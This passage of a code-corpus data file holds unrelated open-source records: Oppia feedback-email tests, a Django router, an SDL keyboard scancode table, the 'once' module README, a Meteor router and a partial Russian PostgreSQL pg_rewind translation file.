'CAN_SEND_FEEDBACK_MESSAGE_EMAILS', True)\n\n def test_that_emails_are_sent(self):\n expected_email_html_body = (\n 'Hi editor,
    '\n '
    '\n 'You\\'ve received a new message on your Oppia explorations:
    '\n '
      '\n '
    • Title:'\n '
      '\n '
      • some text
      • '\n '
    '\n 'You can view and reply to your messages from your '\n 'dashboard.'\n '
    '\n '
    Thanks, and happy teaching!
    '\n '
    '\n 'Best wishes,
    '\n 'The Oppia Team
    '\n '
    '\n 'You can change your email preferences via the '\n 'Preferences page.')\n\n expected_email_text_body = (\n 'Hi editor,\\n'\n '\\n'\n 'You\\'ve received a new message on your Oppia explorations:\\n'\n '- Title:\\n'\n '- some text\\n'\n 'You can view and reply to your messages from your dashboard.\\n'\n '\\n'\n 'Thanks, and happy teaching!\\n'\n '\\n'\n 'Best wishes,\\n'\n 'The Oppia Team\\n'\n '\\n'\n 'You can change your email preferences via the Preferences page.')\n\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.new_user_id, 'a subject', 'some text')\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n messagelist = feedback_services.get_messages(thread_id)\n self.assertEqual(len(messagelist), 1)\n\n self.process_and_flush_pending_tasks()\n\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 1)\n self.assertEqual(\n messages[0].html.decode(), expected_email_html_body)\n self.assertEqual(\n messages[0].body.decode(), expected_email_text_body)\n\n def test_that_correct_emails_are_sent_for_multiple_feedback(self):\n expected_email_html_body = (\n 'Hi editor,
    '\n '
    '\n 'You\\'ve received 2 new messages on your Oppia explorations:
    '\n '
      '\n '
    • Title:'\n '
      '\n '
      • some text
      • '\n '
      • more text
      • '\n '
    '\n 'You can view and reply to your messages from your '\n 'dashboard.'\n '
    '\n '
    Thanks, and happy teaching!
    '\n '
    '\n 'Best wishes,
    '\n 'The Oppia Team
    '\n '
    '\n 'You can change your email preferences via the '\n 'Preferences page.')\n\n expected_email_text_body = (\n 'Hi editor,\\n'\n '\\n'\n 'You\\'ve received 2 new messages on your Oppia explorations:\\n'\n '- Title:\\n'\n '- some text\\n'\n '- more text\\n'\n 'You can view and reply to your messages from your dashboard.\\n'\n '\\n'\n 'Thanks, and happy teaching!\\n'\n '\\n'\n 'Best wishes,\\n'\n 'The Oppia Team\\n'\n '\\n'\n 'You can change your email preferences via the Preferences page.')\n\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.new_user_id, 'a subject', 'some text')\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.new_user_id,\n feedback_models.STATUS_CHOICES_OPEN, 'subject', 'more text')\n\n messagelist = feedback_services.get_messages(thread_id)\n self.assertEqual(len(messagelist), 2)\n\n self.process_and_flush_pending_tasks()\n\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 1)\n self.assertEqual(\n messages[0].html.decode(), expected_email_html_body)\n self.assertEqual(\n messages[0].body.decode(), expected_email_text_body)\n\n def test_that_emails_are_not_sent_if_already_seen(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.new_user_id, 'a subject', 'some text')\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n self.login(self.EDITOR_EMAIL)\n csrf_token = self.get_new_csrf_token()\n self.post_json(\n '%s/%s' % (\n feconf.FEEDBACK_THREAD_VIEW_EVENT_URL, thread_id),\n {'thread_id': thread_id}, csrf_token=csrf_token)\n\n self.process_and_flush_pending_tasks()\n messages = self._get_sent_email_messages(\n self.EDITOR_EMAIL)\n self.assertEqual(len(messages), 0)\n\n\nclass FeedbackMessageInstantEmailHandlerTests(test_utils.EmailTestBase):\n\n def setUp(self):\n super(FeedbackMessageInstantEmailHandlerTests, self).setUp()\n self.signup(self.EDITOR_EMAIL, self.EDITOR_USERNAME)\n self.editor_id = self.get_user_id_from_email(self.EDITOR_EMAIL)\n\n self.signup(self.NEW_USER_EMAIL, self.NEW_USER_USERNAME)\n self.new_user_id = self.get_user_id_from_email(self.NEW_USER_EMAIL)\n\n self.exploration = self.save_new_default_exploration(\n 'A', self.editor_id, title='Title')\n self.can_send_emails_ctx = self.swap(\n feconf, 'CAN_SEND_EMAILS', True)\n self.can_send_feedback_email_ctx = self.swap(\n feconf, 'CAN_SEND_FEEDBACK_MESSAGE_EMAILS', True)\n\n def test_that_emails_are_sent_for_feedback_message(self):\n expected_email_html_body = (\n 'Hi newuser,

    '\n 'New update to thread \"a subject\" on '\n 'Title:
    '\n '
    • editor: editor message
    '\n '(You received this message because you are a '\n 'participant in this thread.)

    '\n 'Best wishes,
    '\n 'The Oppia team
    '\n '
    '\n 'You can change your email preferences via the '\n 'Preferences page.')\n\n expected_email_text_body = (\n 'Hi newuser,\\n'\n '\\n'\n 'New update to thread \"a subject\" on Title:\\n'\n '- editor: editor message\\n'\n '(You received this message because you are a'\n ' participant in this thread.)\\n'\n '\\n'\n 'Best wishes,\\n'\n 'The Oppia team\\n'\n '\\n'\n 'You can change your email preferences via the Preferences page.')\n\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.new_user_id, 'a subject', 'some text')\n self.process_and_flush_pending_tasks()\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.editor_id, None, None, 'editor message')\n self.process_and_flush_pending_tasks()\n\n messages = self._get_sent_email_messages(\n self.NEW_USER_EMAIL)\n self.assertEqual(len(messages), 1)\n self.assertEqual(\n messages[0].html.decode(), expected_email_html_body)\n self.assertEqual(\n messages[0].body.decode(), expected_email_text_body)\n\n def test_that_emails_are_sent_for_status_change(self):\n expected_email_html_body = (\n 'Hi newuser,

    '\n 'New update to thread \"a subject\" on '\n 'Title:
    '\n '
    • editor: changed status from open to fixed
    '\n '(You received this message because you are a '\n 'participant in this thread.)

    '\n 'Best wishes,
    '\n 'The Oppia team
    '\n '
    '\n 'You can change your email preferences via the '\n 'Preferences page.')\n\n expected_email_text_body = (\n 'Hi newuser,\\n'\n '\\n'\n 'New update to thread \"a subject\" on Title:\\n'\n '- editor: changed status from open to fixed\\n'\n '(You received this message because you are a'\n ' participant in this thread.)\\n'\n '\\n'\n 'Best wishes,\\n'\n 'The Oppia team\\n'\n '\\n'\n 'You can change your email preferences via the Preferences page.')\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.new_user_id, 'a subject', 'some text')\n self.process_and_flush_pending_tasks()\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.editor_id,\n feedback_models.STATUS_CHOICES_FIXED, None, '')\n self.process_and_flush_pending_tasks()\n\n messages = self._get_sent_email_messages(\n self.NEW_USER_EMAIL)\n self.assertEqual(len(messages), 1)\n self.assertEqual(\n messages[0].html.decode(), expected_email_html_body)\n self.assertEqual(\n messages[0].body.decode(), expected_email_text_body)\n\n def test_that_emails_are_sent_for_both_status_change_and_message(self):\n expected_email_html_body_message = (\n 'Hi newuser,

    '\n 'New update to thread \"a subject\" on '\n 'Title:
    '\n '
    • editor: editor message
    '\n '(You received this message because you are a '\n 'participant in this thread.)

    '\n 'Best wishes,
    '\n 'The Oppia team
    '\n '
    '\n 'You can change your email preferences via the '\n 'Preferences page.')\n\n expected_email_text_body_message = (\n 'Hi newuser,\\n'\n '\\n'\n 'New update to thread \"a subject\" on Title:\\n'\n '- editor: editor message\\n'\n '(You received this message because you are a'\n ' participant in this thread.)\\n'\n '\\n'\n 'Best wishes,\\n'\n 'The Oppia team\\n'\n '\\n'\n 'You can change your email preferences via the Preferences page.')\n\n expected_email_html_body_status = (\n 'Hi newuser,

    '\n 'New update to thread \"a subject\" on '\n 'Title:
    '\n '
    • editor: changed status from open to fixed
    '\n '(You received this message because you are a '\n 'participant in this thread.)

    '\n 'Best wishes,
    '\n 'The Oppia team
    '\n '
    '\n 'You can change your email preferences via the '\n 'Preferences page.')\n\n expected_email_text_body_status = (\n 'Hi newuser,\\n'\n '\\n'\n 'New update to thread \"a subject\" on Title:\\n'\n '- editor: changed status from open to fixed\\n'\n '(You received this message because you are a'\n ' participant in this thread.)\\n'\n '\\n'\n 'Best wishes,\\n'\n 'The Oppia team\\n'\n '\\n'\n 'You can change your email preferences via the Preferences page.')\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n self.new_user_id, 'a subject', 'some text')\n self.process_and_flush_pending_tasks()\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.editor_id,\n feedback_models.STATUS_CHOICES_FIXED, None,\n 'editor message')\n self.process_and_flush_pending_tasks()\n\n messages = self._get_sent_email_messages(\n self.NEW_USER_EMAIL)\n self.assertEqual(len(messages), 2)\n self.assertEqual(\n messages[0].html.decode(), expected_email_html_body_status)\n self.assertEqual(\n messages[0].body.decode(), expected_email_text_body_status)\n self.assertEqual(\n messages[1].html.decode(), expected_email_html_body_message)\n self.assertEqual(\n messages[1].body.decode(), expected_email_text_body_message)\n\n def test_that_emails_are_not_sent_to_anonymous_user(self):\n with self.can_send_emails_ctx, self.can_send_feedback_email_ctx:\n # Create thread as anonoymous user.\n feedback_services.create_thread(\n 'exploration', self.exploration.id,\n None, 'a subject', 'some text')\n self.process_and_flush_pending_tasks()\n\n threadlist = feedback_services.get_all_threads(\n 'exploration', self.exploration.id, False)\n thread_id = threadlist[0].id\n\n feedback_services.create_message(\n thread_id, self.editor_id,\n feedback_models.STATUS_CHOICES_FIXED, None,\n 'editor message')\n self.process_and_flush_pending_tasks()\n\n messages = self._get_sent_email_messages(\n self.NEW_USER_EMAIL)\n self.assertEqual(len(messages), 0)\n"} +{"text": "#coding=utf-8\n# coding=utf-8\n'''\nCreated on 2014-1-5\n\n@author: ETHAN\n'''\n\nfrom django.conf.urls import url\nfrom teamvision.logcat.views import logger_view\n\nlogcat_home_router=[url(r\"logger$\",logger_view.all),\n url(r\"logger/more_bslog$\",logger_view.more_business_log),\n url(r\"logger/(\\d{1,9})/delete$\",logger_view.remove_logger),\n url(r\"logger/logger_list$\",logger_view.get_logger_list),\n ]"} +{"text": "/*\n Simple DirectMedia Layer\n Copyright (C) 1997-2012 Sam Lantinga \n\n This software is provided 'as-is', without any express or implied\n warranty. In no event will the authors be held liable for any damages\n arising from the use of this software.\n\n Permission is granted to anyone to use this software for any purpose,\n including commercial applications, and to alter it and redistribute it\n freely, subject to the following restrictions:\n\n 1. The origin of this software must not be misrepresented; you must not\n claim that you wrote the original software. If you use this software\n in a product, an acknowledgment in the product documentation would be\n appreciated but is not required.\n 2. Altered source versions must be plainly marked as such, and must not be\n misrepresented as being the original software.\n 3. This notice may not be removed or altered from any source distribution.\n*/\n\n#ifndef _UIKIT_KeyInfo\n#define _UIKIT_KeyInfo\n\n#include \"SDL_scancode.h\"\n\n/*\n This file is used by the keyboard code in SDL_uikitview.m to convert between characters\n passed in from the iPhone's virtual keyboard, and tuples of SDL_Scancode and SDL_keymods.\n For example unicharToUIKeyInfoTable['a'] would give you the scan code and keymod for lower\n case a.\n*/\n\ntypedef struct\n{\n SDL_Scancode code;\n Uint16 mod;\n} UIKitKeyInfo;\n\n/* So far only ASCII characters here */\nstatic UIKitKeyInfo unicharToUIKeyInfoTable[] = {\n/* 0 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 1 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 2 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 3 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 4 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 5 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 6 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 7 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 8 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 9 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 10 */ { SDL_SCANCODE_RETURN, 0 },\n/* 11 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 12 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 13 */ { SDL_SCANCODE_RETURN, 0 },\n/* 14 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 15 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 16 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 17 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 18 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 19 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 20 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 21 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 22 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 23 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 24 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 25 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 26 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 27 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 28 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 29 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 30 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 31 */ { SDL_SCANCODE_UNKNOWN, 0 },\n/* 32 */ { SDL_SCANCODE_SPACE, 0 },\n/* 33 */ { SDL_SCANCODE_1, KMOD_SHIFT }, /* plus shift modifier '!' */\n/* 34 */ { SDL_SCANCODE_APOSTROPHE, KMOD_SHIFT }, /* plus shift modifier '\"' */\n/* 35 */ { SDL_SCANCODE_3, KMOD_SHIFT }, /* plus shift modifier '#' */\n/* 36 */ { SDL_SCANCODE_4, KMOD_SHIFT }, /* plus shift modifier '$' */\n/* 37 */ { SDL_SCANCODE_5, KMOD_SHIFT }, /* plus shift modifier '%' */\n/* 38 */ { SDL_SCANCODE_7, KMOD_SHIFT }, /* plus shift modifier '&' */\n/* 39 */ { SDL_SCANCODE_APOSTROPHE, 0 }, /* ''' */\n/* 40 */ { SDL_SCANCODE_9, KMOD_SHIFT }, /* plus shift modifier '(' */\n/* 41 */ { SDL_SCANCODE_0, KMOD_SHIFT }, /* plus shift modifier ')' */\n/* 42 */ { SDL_SCANCODE_8, KMOD_SHIFT }, /* '*' */\n/* 43 */ { SDL_SCANCODE_EQUALS, KMOD_SHIFT }, /* plus shift modifier '+' */\n/* 44 */ { SDL_SCANCODE_COMMA, 0 }, /* ',' */\n/* 45 */ { SDL_SCANCODE_MINUS, 0 }, /* '-' */\n/* 46 */ { SDL_SCANCODE_PERIOD, 0 }, /* '.' */\n/* 47 */ { SDL_SCANCODE_SLASH, 0 }, /* '/' */\n/* 48 */ { SDL_SCANCODE_0, 0 },\n/* 49 */ { SDL_SCANCODE_1, 0 },\n/* 50 */ { SDL_SCANCODE_2, 0 },\n/* 51 */ { SDL_SCANCODE_3, 0 },\n/* 52 */ { SDL_SCANCODE_4, 0 },\n/* 53 */ { SDL_SCANCODE_5, 0 },\n/* 54 */ { SDL_SCANCODE_6, 0 },\n/* 55 */ { SDL_SCANCODE_7, 0 },\n/* 56 */ { SDL_SCANCODE_8, 0 },\n/* 57 */ { SDL_SCANCODE_9, 0 },\n/* 58 */ { SDL_SCANCODE_SEMICOLON, KMOD_SHIFT }, /* plus shift modifier ';' */\n/* 59 */ { SDL_SCANCODE_SEMICOLON, 0 },\n/* 60 */ { SDL_SCANCODE_COMMA, KMOD_SHIFT }, /* plus shift modifier '<' */\n/* 61 */ { SDL_SCANCODE_EQUALS, 0 },\n/* 62 */ { SDL_SCANCODE_PERIOD, KMOD_SHIFT }, /* plus shift modifier '>' */\n/* 63 */ { SDL_SCANCODE_SLASH, KMOD_SHIFT }, /* plus shift modifier '?' */\n/* 64 */ { SDL_SCANCODE_2, KMOD_SHIFT }, /* plus shift modifier '@' */\n/* 65 */ { SDL_SCANCODE_A, KMOD_SHIFT }, /* all the following need shift modifiers */\n/* 66 */ { SDL_SCANCODE_B, KMOD_SHIFT },\n/* 67 */ { SDL_SCANCODE_C, KMOD_SHIFT },\n/* 68 */ { SDL_SCANCODE_D, KMOD_SHIFT },\n/* 69 */ { SDL_SCANCODE_E, KMOD_SHIFT },\n/* 70 */ { SDL_SCANCODE_F, KMOD_SHIFT },\n/* 71 */ { SDL_SCANCODE_G, KMOD_SHIFT },\n/* 72 */ { SDL_SCANCODE_H, KMOD_SHIFT },\n/* 73 */ { SDL_SCANCODE_I, KMOD_SHIFT },\n/* 74 */ { SDL_SCANCODE_J, KMOD_SHIFT },\n/* 75 */ { SDL_SCANCODE_K, KMOD_SHIFT },\n/* 76 */ { SDL_SCANCODE_L, KMOD_SHIFT },\n/* 77 */ { SDL_SCANCODE_M, KMOD_SHIFT },\n/* 78 */ { SDL_SCANCODE_N, KMOD_SHIFT },\n/* 79 */ { SDL_SCANCODE_O, KMOD_SHIFT },\n/* 80 */ { SDL_SCANCODE_P, KMOD_SHIFT },\n/* 81 */ { SDL_SCANCODE_Q, KMOD_SHIFT },\n/* 82 */ { SDL_SCANCODE_R, KMOD_SHIFT },\n/* 83 */ { SDL_SCANCODE_S, KMOD_SHIFT },\n/* 84 */ { SDL_SCANCODE_T, KMOD_SHIFT },\n/* 85 */ { SDL_SCANCODE_U, KMOD_SHIFT },\n/* 86 */ { SDL_SCANCODE_V, KMOD_SHIFT },\n/* 87 */ { SDL_SCANCODE_W, KMOD_SHIFT },\n/* 88 */ { SDL_SCANCODE_X, KMOD_SHIFT },\n/* 89 */ { SDL_SCANCODE_Y, KMOD_SHIFT },\n/* 90 */ { SDL_SCANCODE_Z, KMOD_SHIFT },\n/* 91 */ { SDL_SCANCODE_LEFTBRACKET, 0 },\n/* 92 */ { SDL_SCANCODE_BACKSLASH, 0 },\n/* 93 */ { SDL_SCANCODE_RIGHTBRACKET, 0 },\n/* 94 */ { SDL_SCANCODE_6, KMOD_SHIFT }, /* plus shift modifier '^' */\n/* 95 */ { SDL_SCANCODE_MINUS, KMOD_SHIFT }, /* plus shift modifier '_' */\n/* 96 */ { SDL_SCANCODE_GRAVE, KMOD_SHIFT }, /* '`' */\n/* 97 */ { SDL_SCANCODE_A, 0 },\n/* 98 */ { SDL_SCANCODE_B, 0 },\n/* 99 */ { SDL_SCANCODE_C, 0 },\n/* 100 */{ SDL_SCANCODE_D, 0 },\n/* 101 */{ SDL_SCANCODE_E, 0 },\n/* 102 */{ SDL_SCANCODE_F, 0 },\n/* 103 */{ SDL_SCANCODE_G, 0 },\n/* 104 */{ SDL_SCANCODE_H, 0 },\n/* 105 */{ SDL_SCANCODE_I, 0 },\n/* 106 */{ SDL_SCANCODE_J, 0 },\n/* 107 */{ SDL_SCANCODE_K, 0 },\n/* 108 */{ SDL_SCANCODE_L, 0 },\n/* 109 */{ SDL_SCANCODE_M, 0 },\n/* 110 */{ SDL_SCANCODE_N, 0 },\n/* 111 */{ SDL_SCANCODE_O, 0 },\n/* 112 */{ SDL_SCANCODE_P, 0 },\n/* 113 */{ SDL_SCANCODE_Q, 0 },\n/* 114 */{ SDL_SCANCODE_R, 0 },\n/* 115 */{ SDL_SCANCODE_S, 0 },\n/* 116 */{ SDL_SCANCODE_T, 0 },\n/* 117 */{ SDL_SCANCODE_U, 0 },\n/* 118 */{ SDL_SCANCODE_V, 0 },\n/* 119 */{ SDL_SCANCODE_W, 0 },\n/* 120 */{ SDL_SCANCODE_X, 0 },\n/* 121 */{ SDL_SCANCODE_Y, 0 },\n/* 122 */{ SDL_SCANCODE_Z, 0 },\n/* 123 */{ SDL_SCANCODE_LEFTBRACKET, KMOD_SHIFT }, /* plus shift modifier '{' */\n/* 124 */{ SDL_SCANCODE_BACKSLASH, KMOD_SHIFT }, /* plus shift modifier '|' */\n/* 125 */{ SDL_SCANCODE_RIGHTBRACKET, KMOD_SHIFT }, /* plus shift modifier '}' */\n/* 126 */{ SDL_SCANCODE_GRAVE, KMOD_SHIFT }, /* plus shift modifier '~' */\n/* 127 */{ SDL_SCANCODE_DELETE, KMOD_SHIFT }\n};\n\n#endif /* UIKitKeyInfo */\n\n/* vi: set ts=4 sw=4 expandtab: */\n"} +{"text": "# once\n\nOnly call a function once.\n\n## usage\n\n```javascript\nvar once = require('once')\n\nfunction load (file, cb) {\n cb = once(cb)\n loader.load('file')\n loader.once('load', cb)\n loader.once('error', cb)\n}\n```\n\nOr add to the Function.prototype in a responsible way:\n\n```javascript\n// only has to be done once\nrequire('once').proto()\n\nfunction load (file, cb) {\n cb = cb.once()\n loader.load('file')\n loader.once('load', cb)\n loader.once('error', cb)\n}\n```\n\nIronically, the prototype feature makes this module twice as\ncomplicated as necessary.\n\nTo check whether you function has been called, use `fn.called`. Once the\nfunction is called for the first time the return value of the original\nfunction is saved in `fn.value` and subsequent calls will continue to\nreturn this value.\n\n```javascript\nvar once = require('once')\n\nfunction load (cb) {\n cb = once(cb)\n var stream = createStream()\n stream.once('data', cb)\n stream.once('end', function () {\n if (!cb.called) cb(new Error('not found'))\n })\n}\n```\n\n## `once.strict(func)`\n\nThrow an error if the function is called twice.\n\nSome functions are expected to be called only once. Using `once` for them would\npotentially hide logical errors.\n\nIn the example below, the `greet` function has to call the callback only once:\n\n```javascript\nfunction greet (name, cb) {\n // return is missing from the if statement\n // when no name is passed, the callback is called twice\n if (!name) cb('Hello anonymous')\n cb('Hello ' + name)\n}\n\nfunction log (msg) {\n console.log(msg)\n}\n\n// this will print 'Hello anonymous' but the logical error will be missed\ngreet(null, once(msg))\n\n// once.strict will print 'Hello anonymous' and throw an error when the callback will be called the second time\ngreet(null, once.strict(msg))\n```\n"} +{"text": "Router.configure\n autoRender: false\n autoStart: false\n\n\n#\n# Public Routes\n#\n@PublicController = RouteController.extend\n layoutTemplate: \"publicLayout\"\n loadingTemplate: \"loading\"\n\nRouter.route \"/about\",\n controller: \"PublicController\"\n\nRouter.route \"/sign-in\",\n name: \"accounts.signIn\"\n template: \"signIn\"\n controller: \"PublicController\"\n\nRouter.route \"/sign-up\",\n name: \"accounts.signUp\"\n template: \"signUp\"\n controller: \"PublicController\"\n\nRouter.route \"/sign-out\",\n action: ->\n Meteor.logout ->\n Router.go \"/\"\n\n#\n# Dashboard Routes\n#\n@DashboardController = RouteController.extend\n layoutTemplate: \"dashboardLayout\"\n loadingTemplate: \"loading\"\n onBeforeAction: ->\n if Meteor.loggingIn()\n @render \"loading\"\n else if Meteor.user()\n @next()\n else\n @redirect \"/\"\n\nRouter.route \"/\",\n name: \"home\"\n action: ->\n if Meteor.user()\n @layout \"dashboardLayout\"\n @render \"onboarding\"\n else\n @layout \"publicLayout\"\n @render \"home\"\n"} +{"text": "\r\n\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n \r\n"} +{"text": "# Russian message translation file for pg_rewind\n# Copyright (C) 2015-2016 PostgreSQL Global Development Group\n# This file is distributed under the same license as the PostgreSQL package.\n# Alexander Lakhin , 2015-2017.\n#\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: pg_rewind (PostgreSQL current)\\n\"\n\"Report-Msgid-Bugs-To: pgsql-bugs@postgresql.org\\n\"\n\"POT-Creation-Date: 2017-03-27 12:46+0000\\n\"\n\"PO-Revision-Date: 2016-11-24 14:26+0300\\n\"\n\"Last-Translator: Alexander Lakhin \\n\"\n\"Language-Team: Russian \\n\"\n\"Language: ru\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n\"\n\"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\\n\"\n\n#: ../../common/fe_memutils.c:35 ../../common/fe_memutils.c:75\n#: ../../common/fe_memutils.c:98 parsexlog.c:74 parsexlog.c:127 parsexlog.c:179\n#, c-format\nmsgid \"out of memory\\n\"\nmsgstr \"нехватка памяти\\n\"\n\n#: ../../common/fe_memutils.c:92\n#, c-format\nmsgid \"cannot duplicate null pointer (internal error)\\n\"\nmsgstr \"попытка дублирования нулевого указателя (внутренняя ошибка)\\n\"\n\n#: ../../common/restricted_token.c:68\n#, c-format\nmsgid \"%s: WARNING: cannot create restricted tokens on this platform\\n\"\nmsgstr \"%s: ПРЕДУПРЕЖДЕНИЕ: в этой ОС нельзя создавать ограниченные маркеры\\n\"\n\n#: ../../common/restricted_token.c:77\n#, c-format\nmsgid \"%s: could not open process token: error code %lu\\n\"\nmsgstr \"%s: не удалось открыть маркер процесса (код ошибки: %lu)\\n\"\n\n#: ../../common/restricted_token.c:90\n#, c-format\nmsgid \"%s: could not allocate SIDs: error code %lu\\n\"\nmsgstr \"%s: не удалось подготовить структуры SID (код ошибки: %lu)\\n\"\n\n#: ../../common/restricted_token.c:110\n#, c-format\nmsgid \"%s: could not create restricted token: error code %lu\\n\"\nmsgstr \"%s: не удалось создать ограниченный маркер (код ошибки: %lu)\\n\"\n\n#: ../../common/restricted_token.c:132\n#, c-format\nmsgid \"%s: could not start process for command \\\"%s\\\": error code %lu\\n\"\nmsgstr \"\"\n\"%s: не удалось запустить процесс для команды \\\"%s\\\" (код ошибки: %lu)\\n\"\n\n#: ../../common/restricted_token.c:170\n#, c-format\nmsgid \"%s: could not re-execute with restricted token: error code %lu\\n\"\nmsgstr \"\"\n\"%s: не удалось перезапуститься с ограниченным маркером (код ошибки: %lu)\\n\"\n\n#: ../../common/restricted_token.c:186\n#, c-format\nmsgid \"%s: could not get exit code from subprocess: error code %lu\\n\"\nmsgstr \"%s: не удалось получить код выхода от подпроцесса (код ошибки: %lu)\\n\"\n\n#: copy_fetch.c:62\n#, c-format\nmsgid \"could not open directory \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось открыть каталог \\\"%s\\\": %s\\n\"\n\n#: copy_fetch.c:91 filemap.c:111 filemap.c:266\n#, c-format\nmsgid \"could not stat file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось получить информацию о файле \\\"%s\\\": %s\\n\"\n\n#: copy_fetch.c:120\n#, c-format\nmsgid \"could not read symbolic link \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось прочитать символическую ссылку \\\"%s\\\": %s\\n\"\n\n#: copy_fetch.c:123\n#, c-format\nmsgid \"symbolic link \\\"%s\\\" target is too long\\n\"\nmsgstr \"целевой путь символической ссылки \\\"%s\\\" слишком длинный\\n\"\n\n#: copy_fetch.c:138\n#, c-format\nmsgid \"\"\n\"\\\"%s\\\" is a symbolic link, but symbolic links are not supported on this \"\n\"platform\\n\"\nmsgstr \"\"\n\"\\\"%s\\\" - символическая ссылка, но в этой ОС символические ссылки не \"\n\"поддерживаются\\n\"\n\n#: copy_fetch.c:145\n#, c-format\nmsgid \"could not read directory \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось прочитать каталог \\\"%s\\\": %s\\n\"\n\n#: copy_fetch.c:149\n#, c-format\nmsgid \"could not close directory \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось закрыть каталог \\\"%s\\\": %s\\n\"\n\n#: copy_fetch.c:169\n#, c-format\nmsgid \"could not open source file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось открыть исходный файл \\\"%s\\\": %s\\n\"\n\n#: copy_fetch.c:173\n#, c-format\nmsgid \"could not seek in source file: %s\\n\"\nmsgstr \"не удалось переместиться в исходном файле: %s\\n\"\n\n#: copy_fetch.c:190 file_ops.c:299\n#, c-format\nmsgid \"could not read file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось прочитать файл \\\"%s\\\": %s\\n\"\n\n#: copy_fetch.c:193\n#, c-format\nmsgid \"unexpected EOF while reading file \\\"%s\\\"\\n\"\nmsgstr \"неожиданный конец при чтении файла \\\"%s\\\"\\n\"\n\n#: copy_fetch.c:200\n#, c-format\nmsgid \"could not close file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось закрыть файл \\\"%s\\\": %s\\n\"\n\n#: datapagemap.c:124\n#, c-format\nmsgid \" block %u\\n\"\nmsgstr \" блок %u\\n\"\n\n#: file_ops.c:63\n#, c-format\nmsgid \"could not open target file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось открыть целевой файл \\\"%s\\\": %s\\n\"\n\n#: file_ops.c:77\n#, c-format\nmsgid \"could not close target file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось закрыть целевой файл \\\"%s\\\": %s\\n\"\n\n#: file_ops.c:97\n#, c-format\nmsgid \"could not seek in target file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось переместиться в целевом файле \\\"%s\\\": %s\\n\"\n\n#: file_ops.c:113\n#, c-format\nmsgid \"could not write file \\\"%s\\\": %s\\n\"\nmsgstr \"не удалось записать файл \\\"%s\\\": %s\\n\"\n\n#: file_ops.c:163\n#, c-format\nmsgid \"invalid action (CREATE) for regular file\\n\"\nmsgstr \"неверное действие (CREATE) для обычного файла\\n\"\n\n#: file_ops.c:178\n#, c-format\nmsgid 